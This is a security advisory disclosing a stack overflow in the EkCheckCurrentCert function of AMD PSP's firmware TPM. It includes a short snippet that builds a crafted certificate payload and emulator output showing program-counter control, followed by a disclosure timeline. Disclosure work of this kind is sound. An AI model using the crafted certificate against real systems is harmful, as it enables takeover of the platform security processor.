Introduction
============
AMD PSP [1] is a dedicated security processor built onto the main CPU die.
ARM TrustZone provides an isolated execution environment for sensitive and
privileged tasks, such as main x86 core startup. See [2] for details.

fTPM is a firmware TPM [3] implementation. It runs as a trustlet
application inside the PSP. fTPM exposes a TPM 2.0 interface over MMIO to
the host [4].

Research
========
The fTPM trustlet code was found in Corebootas git repository [5] and in
several BIOS update files. The TPM reference implementation code is
published in trustedcomputinggroup.org (TCG) TPM specification. In fact,
the code *is* the spec.
Most TPM vendors implement their TPMs based on the TCG spec code. Vendors
implement the storage layer (where non-volatile data and persistent objects
are stored), connect the crypto library to a good source of entropy, and
sometimes re-implement the low-level crypto functions. However, a lot of
the TPM code is shared with the publicly accessible TPM specification:
request/response marshaling, session management and command execution logic.
This research focused on vendor specific code that diverged from the TCG
spec.

Vulnerability
=============
Through manual static analysis, weave found a stack-based overflow in the
function EkCheckCurrentCert.
This function is called from TPM2_CreatePrimary with user controlled data -
a DER encoded [6] endorsement key (EK) certificate stored in the NV
storage.

A TLV (type-length-value) structure is parsed and copied on to the parent
stack frame. Unfortunately, there are missing bounds checks, and a
specially crafted certificate can lead to a stack overflow:

NESTED_CERT_DATA1 = '\x03\x82\x07\xf0' + 'A * 0x7f0
NESTED_CERT_DATA2 = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA1)) +
NESTED_CERT_DATA1
CERT_DATA = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA2)) +
NESTED_CERT_DATA2

Proof Of Concept
================
Without access to a real AMD hardware, we used an ARM emulator [7] to
emulate a call to EkCheckCurrentCert with the CERT_DATA listed above. We
verified that full control on the program counter is possible:

EkCheckCurrentCert+c8    : B               loc_10EE4
EkCheckCurrentCert+60    : LDR             R4, =0xB80
EkCheckCurrentCert+62    : ADDS            R4, #0x14
EkCheckCurrentCert+64    : ADD             SP, R4
EkCheckCurrentCert+66    : POP             {R4-R7,PC}
41414140                 : ????
|
R0=ff,R1=f00242c,R2=f001c24,R3=824,R4=41414141,R5=41414141,R6=41414141,R7=41414141,PC=41414140,SP=f003000,LR=11125

As far as we know, general exploit mitigation technologies (stack cookies,
NX stack, ASLR) are not implemented in the PSP environment.

Credits
===========
This vulnerability was discovered and reported to AMD by Cfir Cohen of the
Google Cloud Security Team.


Timeline
========
09-28-17 - Vulnerability reported to AMD Security Team.
12-07-17 - Fix is ready. Vendor works on a rollout to affected partners.
01-03-18 - Public disclosure due to 90 day disclosure deadline.


[1] http://www.amd.com/en-us/innovations/software-technologies/security
[2]
https://classic.regonline.com/custImages/360000/369552/TCC%20PPTs/TCC2013_VanDoorn.pdf
[3] https://en.wikipedia.org/wiki/Trusted_Platform_Module
[4]
http://www.trustedcomputinggroup.org/wp-content/uploads/PC-Client-Specific-Platform-TPM-Profile-for-TPM-2-0-v43-150126.pdf
[5] https://github.com/coreboot/blobs/tree/master/southbridge/amd/avalon/PSP
[6] https://en.wikipedia.org/wiki/X.690#DER_encoding
[7] http://www.unicorn-engine.org/